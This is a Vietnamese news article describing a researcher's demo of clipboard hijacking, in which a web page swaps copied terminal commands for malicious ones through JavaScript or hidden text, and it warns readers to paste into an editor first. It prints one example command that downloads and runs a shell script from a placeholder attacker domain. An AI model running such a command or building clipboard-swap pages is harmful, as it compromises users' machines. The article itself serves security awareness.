Lập trình viên, quản trị viên hệ thống (sysadmin), nhà nghiên cứu bảo mật và những người có sở thích copy-paste câu lệnh từ trang web vào cửa sổ lệnh hoặc terminal từ nay sẽ phải cẩn thận bởi hành vi này có thể khiến bạn bị hack.
Nhà nghiên cứu bảo mật Gabriel Friedlander vừa demo thành công một phương thức tấn công có thể khiến bạn phải suy nghĩ lại về việc copy-paste câu lệnh từ các trang web. Ông Gabriel là sáng lập của nền tảng đào tạo nhận thức an ninh mạng Wizer.
Việc người dùng, lập trình viên… copy câu lệnh từ các trang web (ví dụ StackOverflow) và paste vào các ứng dụng như cửa sổ lệnh Windows, terminal Linux… không có gì là lạ. Nhưng Gabriel cảnh báo rằng các trang web có thể bí mật thay thế nội dung của những gì bạn copy. Điều này dẫn tới việc những gì lưu trong clipboard (khay nhớ) của hệ thống lại khác hẳn so với những gì bạn sao chép.
Tệ hơn, nếu không có sự thẩm định, mọi người chỉ kịp nhận ra lỗi của mình sau khi paste câu lệnh. Lúc này, mọi thứ đã quá muộn.
Để trình diễn phương thức tấn công của mình, Gabriel yêu cầu mọi người thử copy một lệnh đơn giản mà hầu hết lập trình viên hay sysadmin đều khá quen thuộc:
Sau đó, hãy paste những gì bạn đã copy vào một ô text hoặc Notepad, kết quả có thể khiến bạn ngạc nhiên:
curl http://attacker-domain:8000/shell.sh | sh
Bạn có thể thử ngay trên blog của Wizer.
Không chỉ nhận được một lệnh hoàn toàn khác trên clipboard mà tệ hơn nó còn có ký tự dòng mới ở phía cuối. Điều này có nghĩa là nếu được paste trực tiếp vào một terminal Linux thì ví dụ ở trên sẽ được thực thi ngay.
Bạn ngây thơ nghĩ rằng đang copy lệnh sudo apt quen thuộc, vô hại nhưng những gì xảy ra lại không phải vậy.
Điều gì đã diễn ra?
Điều kỳ diệu nằm ở mã JavaScript ẩn sau trang HTML mà Gabriel thiết lập.
Ngay sau khi bạn sao chép văn bản “sudo apt update” có trong phần tử HTML, đoạn mã trong ảnh bên dưới sẽ chạy. Tiếp theo, trình xử lý sự kiện JavaScript ghi lại sự kiện copy và thay thế dữ liệu trong clipboard bằng dòng mã độc của Gabriel.
Trong JavaScript, trình xử lý sự kiện có thể dùng trong nhiều trường hợp khác nhau. Đây là một ví dụ về cách chúng bị lợi dụng cho hành vi xấu.
“Đây là lý do tại sao bạn KHÔNG BAO GIỜ nên copy-paste trực tiếp câu lệnh vào terminal của mình”, Gabriel cảnh báo. “Bạn nghĩ rằng mình đang copy một thứ nhưng nó lại bị thay thế bằng một thứ khác, ví dụ như mã độc. Điều này được thực hiện một cách đơn giản là thêm một dòng code vào code bạn đã sao chép để tạo ra cửa hậu cho ứng dụng của bạn. Đây là phương thức tấn công đơn giản nhưng rất lợi hại”.
Trên Reddit, một người dùng đã trình bày một ví dụ khác về thủ thuật này, không cần dùng tới JavaScript. Anh ta sử dụng văn bản ẩn được tạo ra bởi các HTML và CSS styling. Vì thế, khi bạn copy các văn bản bạn nhìn thấy sẽ copy luôn cả văn bản ẩn vào clipboard.
“Chủ trang web không chỉ có thể thay đổi nội dung clipboard của bạn bằng JavaScript mà còn có thể ẩn lệnh trên HTML để mắt thường không thấy được nhưng lại có thể bị copy bởi máy tính”, người dùng SwallowYourDreams chia sẻ.
Từ nay trở đi, bất cứ khi nào cần copy câu lệnh trên mạng bạn hãy nhớ paste ra một trình soạn thảo văn bản trước đã nhé.